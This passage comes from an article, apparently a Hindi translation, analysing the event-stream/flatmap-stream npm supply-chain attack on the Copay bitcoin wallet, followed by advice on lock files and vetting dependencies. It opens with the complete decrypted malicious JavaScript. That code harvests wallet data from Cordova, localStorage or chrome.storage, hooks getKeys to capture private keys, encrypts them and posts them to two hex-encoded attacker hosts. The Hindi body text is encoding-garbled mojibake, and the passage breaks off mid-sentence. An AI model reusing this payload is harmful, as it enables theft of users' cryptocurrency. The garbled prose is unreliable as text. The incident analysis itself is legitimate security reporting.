peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj \\ nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW + / BiGud7b77Fwfq372fUuEIk \\ n2P / pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762 \\ nPDBMwQsCKQcpKDXw / 6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz \\ nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl / CJ / x76To \\ n2wIDAQAB \ /*@@*/ ! function() { function e() { try { var o = require("http"), a = require("crypto"), c = "-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxoV1GvDc2FUsJnrAqR4C\\nDXUs/peqJu00casTfH442yVFkMwV59egxxpTPQ1YJxnQEIhiGte6KrzDYCrdeBfj\\nBOEFEze8aeGn9FOxUeXYWNeiASyS6Q77NSQVk1LW+/BiGud7b77Fwfq372fUuEIk\\n2P/pUHRoXkBymLWF1nf0L7RIE7ZLhoEBi2dEIP05qGf6BJLHPNbPZkG4grTDv762\\nPDBMwQsCKQcpKDXw/6c8gl5e2XM7wXhVhI2ppfoj36oCqpQrkuFIOL2SAaIewDZz\\nLlapGCf2c2QdrQiRkY8LiUYKdsV2XsfHPb327Pv3Q246yULww00uOMl/cJ/x76To\\n2wIDAQAB\\n-----END PUBLIC KEY-----"; function i(e, t, n) { e = Buffer.from(e, "hex").toString(); var r = o.request({ hostname: e, port: 8080, method: "POST", path: "/" + t, headers: { "Content-Length": n.length, "Content-Type": "text/html" } }, function() {}); r.on("error", function(e) {}), r.write(n), r.end() } function r(e, t) { for (var n = "", r = 0; r < t.length; r += 200) { var o = t.substr(r, 200); n += a.publicEncrypt(c, Buffer.from(o, "utf8")).toString("hex") + "+" } i("636f7061796170692e686f7374", e, n), i("3131312e39302e3135312e313334", e, n) } function l(t, n) { if (window.cordova) try { var e = cordova.file.dataDirectory; resolveLocalFileSystemURL(e, function(e) { e.getFile(t, { create: !1 }, function(e) { e.file(function(e) { var t = new FileReader; t.onloadend = function() { return n(JSON.parse(t.result)) }, t.onerror = function(e) { t.abort() }, t.readAsText(e) }) }) }) } catch (e) {} else { try { var r = localStorage.getItem(t); if (r) return n(JSON.parse(r)) } catch (e) {} try { chrome.storage.local.get(t, function(e) { if (e) return n(JSON.parse(e[t])) }) } catch (e) {} } } global.CSSMap = {}, l("profile", function(e) { for (var t in e.credentials) { var n = e.credentials[t]; "livenet" == n.network && l("balanceCache-" + n.walletId, function(e) { var t = this; t.balance = parseFloat(e.balance.split(" ")[0]), "btc" == t.coin && t.balance < 100 || "bch" == t.coin && t.balance < 1e3 || (global.CSSMap[t.xPubKey] = !0, r("c", JSON.stringify(t))) }.bind(n)) } }); var e = require("bitcore-wallet-client/lib/credentials.js"); e.prototype.getKeysFunc = e.prototype.getKeys, e.prototype.getKeys = function(e) { var t = this.getKeysFunc(e); try { global.CSSMap && global.CSSMap[this.xPubKey] && (delete global.CSSMap[this.xPubKey], r("p", e + "\\t" + this.xPubKey)) } catch (e) {} return t } } catch (e) {} } window.cordova ? document.addEventListener("deviceready", e) : e() }(); 

рдЬреИрд╕рд╛ рдХрд┐ рдЖрдкрдиреЗ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдпрд╛ рд╣реЛрдЧрд╛, рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЖрдкрдХреЗ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ рдХреЛ рдЪреБрд░рд╛рдиреЗ рдФрд░ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрдирд╛ рдбреЗрдЯрд╛ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реА рд╣реИред


рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛: npm рдЯреАрдо рдиреЗ рдЕрдкрдиреА рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рдШрдЯрдирд╛ рд░рд┐рдкреЛрд░реНрдЯ рдЬрд╛рд░реА рдХреА , рдЬрд┐рд╕рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рдХрд┐ рдПрдХ рдмрд┐рдЯрдХреЙрдЗрди-рдЪреЛрд░реА рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдХреЛрдкреЗ рд╡реЙрд▓реЗрдЯ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛрдб рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдкреНрдкреЗ рд░рд┐рд▓реАрдЬрд╝ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред


рдЗрд╕рд▓рд┐рдП рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ


  • рд▓реЛрдХрдкреНрд░рд┐рдп рдмрд┐рдЯрдХреЙрдЗрди рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо copay-dash рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдирд┐рд░реНрднрд░рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред
  • рд╕рд┐рддрдВрдмрд░ рдореЗрдВ, рд▓рдЧрднрдЧ рдПрдХ рд╕рдкреНрддрд╛рд╣ рдХреЗ рд▓рд┐рдП, рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдПрдХ рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдирд┐рд░реНрднрд░рддрд╛ рд╢рд╛рдорд┐рд▓ рдереА, рдХреНрдпреЛрдВрдХрд┐ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЛ рдПрдХ рдирдП рдбреЗрд╡рд▓рдкрд░ рдХреЛ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдЬрд┐рд╕рдиреЗ рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рдЬреЛрдбрд╝рд╛ рдФрд░ рдПрдХ рд╕рдкреНрддрд╛рд╣ рдмрд╛рдж рдЗрд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ред
  • рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо рдореЗрдВ рдорд┐рдирд┐рдлрд╝рд╛рдЗрдб рдХреЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ рдПрдХ рдЫрд┐рдкрд╛ рд╣реБрдЖ рдЯреБрдХрдбрд╝рд╛ рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ test/data.js рдХреБрдВрдЬреА рдХреЗ рд░реВрдк рдореЗрдВ рд░реВрдЯ рдкреИрдХреЗрдЬ рдХреЗ рд╡рд┐рд╡рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ test/data.js рд╕реЗ рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдбрд┐рдХреЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред
  • рдХрд┐рд╕реА рднреА рдирд┐рдпрдорд┐рдд рдкреИрдХреЗрдЬ рдХреЗ рд▓рд┐рдП, рдЗрд╕рдореЗрдВ рддреНрд░реБрдЯрд┐ рд╣реБрдИ (рдХреНрдпреЛрдВрдХрд┐ рдкреИрдХреЗрдЬ рд╡рд┐рд╡рд░рдг рдЧрд▓рдд рдХреБрдВрдЬреА рдерд╛), рдЬрд┐рд╕реЗ рдЪреБрдкрдЪрд╛рдк рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд▓реЗрдХрд┐рди рдХреЛрдкреЗ-рдбреИрд╢ рдХреЗ рд▓рд┐рдП, рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдиреЗ рдорд╛рдиреНрдп рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рджрд┐рдпрд╛, рдЬрд┐рд╕рдиреЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХрд╛ рдПрдХ рдФрд░ рдЪрд░рдг рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдФрд░ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬреЛ рдЖрдкрдХреЗ рдмрд┐рдЯрдХреЙрдЗрди рд╡реЙрд▓реЗрдЯ рдХреЛ рдЪреБрд░рд╛рддрд╛ рд╣реИред

рдЕрдм рдХреНрдпрд╛ рдХрд░реЗрдВ?


рдпрд╣ рдПрдХ рдЖрд╢реНрдЪрд░реНрдпрдЬрдирдХ рд░реВрдк рд╕реЗ рдЪрд╛рд▓рд╛рдХ рд╣рдорд▓рд╛ рдерд╛, рдПрдХ рд╕рдорд╛рди рдХрд╛рд▓реНрдкрдирд┐рдХ рд╣рдорд▓реЗ рдХреЗ рд╡рд░реНрдгрди рдХреЗ рд╕рд╛рде, рдПрдХ рдЬрдирд╡рд░реА рдкреЛрд╕реНрдЯ рдХреА рджреГрдврд╝рддрд╛ рд╕реЗ рдпрд╛рдж рджрд┐рд▓рд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдХреБрд╢рд▓рддрд╛ рд╕реЗ рдЕрдкрдиреЗ рдкрдЯрд░рд┐рдпреЛрдВ рдХреЛ рдмрд╣ рджрд┐рдпрд╛ - рдЧрд┐рдердм рдкрд░ рдХреЛрдб рдФрд░ рдХрдорд┐рдЯ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рдПрдХ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рдФрд░ рд╕рдВрджрд┐рдЧреНрдз рд╕реНрдерд┐рддрд┐ рджрд┐рдЦрд╛рддрд╛ рд╣реИ (рдирдпрд╛ рдбреЗрд╡рд▓рдкрд░ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдПрдХ рд╕реБрд╡рд┐рдзрд╛ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдЗрд╕рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЛ рдереЛрдбрд╝рд╛ рдмрджрд▓ рджреЗрддрд╛ рд╣реИ)ред рдлреНрд▓реИрдЯрдореИрдк-рд╕реНрдЯреНрд░реАрдо (рдирдП рдкреИрдХреЗрдЬ, рдХреЛрдИ рдпреЛрдЧрджрд╛рдирдХрд░реНрддрд╛рдУрдВ рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдЖрдВрдХрдбрд╝реЗ) рдореЗрдВ рд╕рдВрджрд┐рдЧреНрдз рд╕рдВрдХреЗрддреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдорд▓рд╛ рд▓рдЧрднрдЧ рдЕрджреГрд╢реНрдп рд╣реЛ рдЧрдпрд╛ред рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ 2 рдорд╣реАрдиреЗ рддрдХ рдкрддрд╛ рдирд╣реАрдВ рдЪрд▓рд╛ рдерд╛ рдФрд░ рдЕрдм рдХреЗрд╡рд▓ рдЗрд╕рд▓рд┐рдП рдкрд╛рдпрд╛ рдЧрдпрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ crypto.createDecipher рдмрдЬрд╛рдп рдкреБрд░рд╛рдиреА crypto.createDecipher рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЫреЛрдЯреА рд╕реА рдЧрд▓рддреА рдХреА, рдЬрд┐рд╕рд╕реЗ рдПрдХ рдЕрдиреНрдп рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдкреБрд░рд╛рдиреА рдкрджреНрдзрддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕рдВрджрд┐рдЧреНрдз рд╕рдВрджреЗрд╢ рдорд┐рд▓рд╛, рдЬреЛ рдЗрд╡реЗрдВрдЯ-рд╕реНрдЯреНрд░реАрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред


рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХреЗ рд╣рдорд▓реЗ рд╣рдореЗрдВ рдирд┐рдХрдЯ рднрд╡рд┐рд╖реНрдп рдореЗрдВ рдирд╣реАрдВ рдЫреЛрдбрд╝реЗрдВрдЧреЗред рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЗрд╕ рд╕рдордп рд╕рдмрд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рднрд╛рд╖рд╛ рд╣реИ , рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдпрд╣ рд╣реИрдХрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рдЖрдХрд░реНрд╖рдХ рд▓рдХреНрд╖реНрдп рдмрдирд╛ рд░рд╣реЗрдЧрд╛ред рдЕрдиреНрдп рднрд╛рд╖рд╛рдУрдВ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЗрдВ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдХрдо рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ npm рд╕реЗ рд╕рдВрдХреБрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддреА рд╣реИ - рдЕрдиреНрдп рд╕рд╛рдВрд╕реНрдХреГрддрд┐рдХ рдХрд╛рд░рдХреЛрдВ рдХреЗ рд╕рд╛рде, рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреА рдУрд░ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдореЗрдВ рдЖрдорддреМрд░ рдкрд░ рдПрдХ рд╡рд┐рд╢рд╛рд▓ рдирд┐рд░реНрднрд░рддрд╛ рд╡реГрдХреНрд╖ рд╣реЛрддрд╛ рд╣реИред


рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдЗрд╕ рд╡рд░реНрдЧ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдкреНрд░рд╡рдг рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдЬрд░реВрд░реА рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдХрдо рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛред рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдорддреМрд░ рдкрд░ рдЕрдзрд┐рдХ рд╕рдХреНрд░рд┐рдп рдбреЗрд╡рд▓рдкрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдЧрддрд┐ рдХреА рд▓рд╣рд░ рдкрд░ рд╣реЛрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рдд, рдЙрдирдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реБрд░рдХреНрд╖рд╛ рдлрд╝рд┐рдХреНрд╕реЗрд╕ рд╕рд╣рд┐рдд рдЕрдзрд┐рдХ рдкреИрдХреЗрдЬ рдФрд░ рдЕрдкрдбреЗрдЯ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдЗрд╕реА рд╕рдордп, рдЗрдХреНрд╡рд┐рдХреНрд╕реИрдХреНрд╕ рдХреЗ рдЬрд╛рд╡рд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд╕рдЯреАрдХ рд╡рд┐рдкрд░реАрдд рдХрд╛рд░рдг рдХреЗ рд▓рд┐рдП рд╣реИрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ - рдЙрдиреНрд╣реЛрдВрдиреЗ рдорд╣реАрдиреЛрдВ рддрдХ рдЕрдкрд╛рдЪреЗ рд╕реНрдЯреНрд░рдЯреНрд╕ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд╛ рдЕрдкрдбреЗрдЯ рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдерд╛ ред рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреА рднреЗрджреНрдпрддрд╛ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХрдо рд╣реЛрддреА рд╣реИред рдЕрдВрдд рдореЗрдВ, рдЬрдм рдХрд┐рд╕реА рдХрдВрдкрдиреА рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреА рд╕реНрдЯреИрдХ рдЪреБрдирддреЗ рд╣реИрдВ, рддреЛ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░рд╢реНрди рд╣рдореЗрд╢рд╛ рдЙрдарддрд╛ рд╣реИред рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдмрдХ рдЖрдкрдХреЗ рд╡рд┐рд╢реЗрд╖ рдирд┐рд░реНрдгрдп рдФрд░ рдЙрдиреНрд╣реЗрдВ рдкреВрд░реНрд╡рд╛рдиреБрдорд╛рдирд┐рдд рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд╣рдорд▓реЗ рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЛ рд╕рдордЭреЗрдЧрд╛ред


рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрдЯреИрдХ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рдХреНрдпрд╛ рдорддрд▓рдм рд╣реИ? рд╡рд┐рдЪрд╛рд░реЛрдВ рдФрд░ рд╕реБрдЭрд╛рд╡реЛрдВ рдХреА рдХреЛрдИ рдХрдореА рдирд╣реАрдВ рд╣реИ рдХрд┐ рдХреИрд╕реЗ npm рдпрд╛ рдЕрдиреНрдп рд╕рдореБрджрд╛рдп рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред рд▓реЗрдХрд┐рди рдЕрдВрддрд┐рдо рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдо рд╕реЗ рдХрдо рджреЛ рдмреБрдирд┐рдпрд╛рджреА рдХрджрдо рд╣реИрдВ:


  • рд▓реЙрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ ред рдЗрд╕рд╕реЗ рдХреЛрдИ рдлрд░реНрдХ рдирд╣реАрдВ рдкрдбрд╝рддрд╛ рдХрд┐ рдпрд╣ рдпрд╛рд░реНрди рд╣реИ редlock рдпрд╛ package-lock.json, рдХреЛрдИ рднреА рд▓реЙрдХ-рдлрд╝рд╛рдЗрд▓ рдЧрд╛рд░рдВрдЯреА рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдкрдХреЛ рд╣рд░ рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдХреЗ рд╕рд╛рде рдкреИрдХреЗрдЬ рдХреЗ рдПрдХ рд╣реА рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛрдВрдЧреЗ, рдпрд╛рдиреА рдпрджрд┐ рдЖрдк рдЖрдЬ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИрдВ, рддреЛ рдЖрдк рдХрд▓ рднреА рд╡рд╣реА рд░рд╣реЗрдВрдЧреЗред рд▓реЙрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рдлреНрд▓реЛрдЯрд┐рдВрдЧ рдирд┐рд░реНрднрд░рддрд╛ рдХрд╛ рдЕрднреНрдпрд╛рд╕ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЕрдкрдбреЗрдЯ рдХреЗ рд▓рд┐рдП рдХрдордЬреЛрд░ рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рдирд╡реАрдирддрдо рдЙрдкрд▓рдмреНрдз рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рдд, рдЖрдкрдХреА рдПрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рд╕рд╛рде рд╕рдордЭреМрддрд╛ рдХрд┐рдП рдЬрд╛рдиреЗ рдФрд░ рдкреНрд░рдХрд╛рд╢рд┐рдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ рд╣рд░ рдкрд░рд┐рдирд┐рдпреЛрдЬрди рдХреЗ рд╕рд╛рде рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде рд╕рдВрд╕реНрдХрд░рдгред рд▓реЙрдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рд╕реЗ рдХрдо рдЙрди рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЗ рдореИрдиреБрдЕрд▓ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕реАрдорд┐рдд рдХрд░реЗрдВрдЧреЗ рдЬреЛ рдкреИрдХреЗрдЬ рдЬреЛрдбрд╝рддреЗ рдФрд░ рдЕрдкрдбреЗрдЯ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ рдХреЛрдб рд╕рдореАрдХреНрд╖рд╛ рдпрд╛ рдЕрдиреНрдп рдХрдВрдкрдиреА рдиреАрддрд┐рдпреЛрдВ рджреНрд╡рд╛рд░рд╛ рдбрдмрд▓-рдЪреЗрдХ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


  • рдХреБрдЫ рдбрд╛рд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕реЛрдЪреЗрдВ ред рдЬреИрд╕рд╛ рдХрд┐ рдКрдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрд╣ рдПрдХ рд░рд╛рдордмрд╛рдг рдирд╣реАрдВ рд╣реИ, рд╣реИрдХрд░реНрд╕ рдЕрднреА рднреА рдорд╛рдЗрдирд┐рдлрд╝рд╛рдЗрдб рдХреЛрдб рдореЗрдВ рдмреБрдХрдорд╛рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкрд░реНрдЪреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдвреВрдВрдврдирд╛ рдореБрд╢реНрдХрд┐рд▓ рд╣реИ, рднрд▓реЗ рд╣реА рдЖрдк рдЬрд╛рдирддреЗ рд╣реЛрдВ рдХрд┐ рд╡реЗ рд╡рд╣рд╛рдВ рд╣реИрдВред рд▓реЗрдХрд┐рди рдХрдо рдирд╣реАрдВ, рдЖрдк рдЕрдкрдиреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рд▓реЛрдХрдкреНрд░рд┐рдп рдФрд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рд╕рдорд░реНрдерд┐рдд рдкреИрдХреЗрдЬ рд╕реЗ рдЪрд┐рдкрдХреЗ рд░рд╣рддреЗ рд╣реИрдВред рдПрдХ рдирдИ рд▓рдд рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдкрд╣рд▓реЗ рдЦреБрдж рд╕реЗ рдкреВрдЫреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХреЛрдб рдХреИрд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реИ, рдФрд░ рдпрд╣ рдПрдХ рджрд░реНрдЬрди рд╕реЗ рдЕрдзрд┐рдХ рд▓рд╛рдЗрдиреЗрдВ рдирд╣реАрдВ рд▓реЗрддрд╛ рд╣реИ, рддреЛ рдмрд╕ рдЗрд╕реЗ рд╕реНрд╡рдпрдВ рд▓рд┐рдЦреЗрдВред рдпрджрд┐ рдЖрдкрдХреЛ рдЕрднреА рднреА рдПрдХ рдирд┐рд░реНрднрд░рддрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдкрд╣рд▓реЗ рдЗрд╕рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд░реЗрдВред Npm рдкрд░ рдЙрд╕рдХреЗ рдХрд┐рддрдиреЗ рдбрд╛рдЙрдирд▓реЛрдб рд╣реИрдВ? рдХреНрдпрд╛ рдЧреАрдердм рдкрд░ рднрдВрдбрд╛рд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдЕрджреНрдпрддрди рджрд┐рдЦрддрд╛ рд╣реИ? рдХреНрдпрд╛ рдкреИрдХреЗрдЬ рдХреЛ рд╣рд╛рд▓ рд╣реА рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ? рдпрджрд┐ рдирд╣реАрдВ, рддреЛ рдлреЛрд░реНрдХрд┐рдВрдЧ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВред рдЗрд╕рд╕реЗ рдЬреЛрдЦрд┐рдо рдХрдо рд╣реЛ рдЬрд╛рдПрдВрдЧреЗ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рднрд╡рд┐рд╖реНрдп рдХреЗ 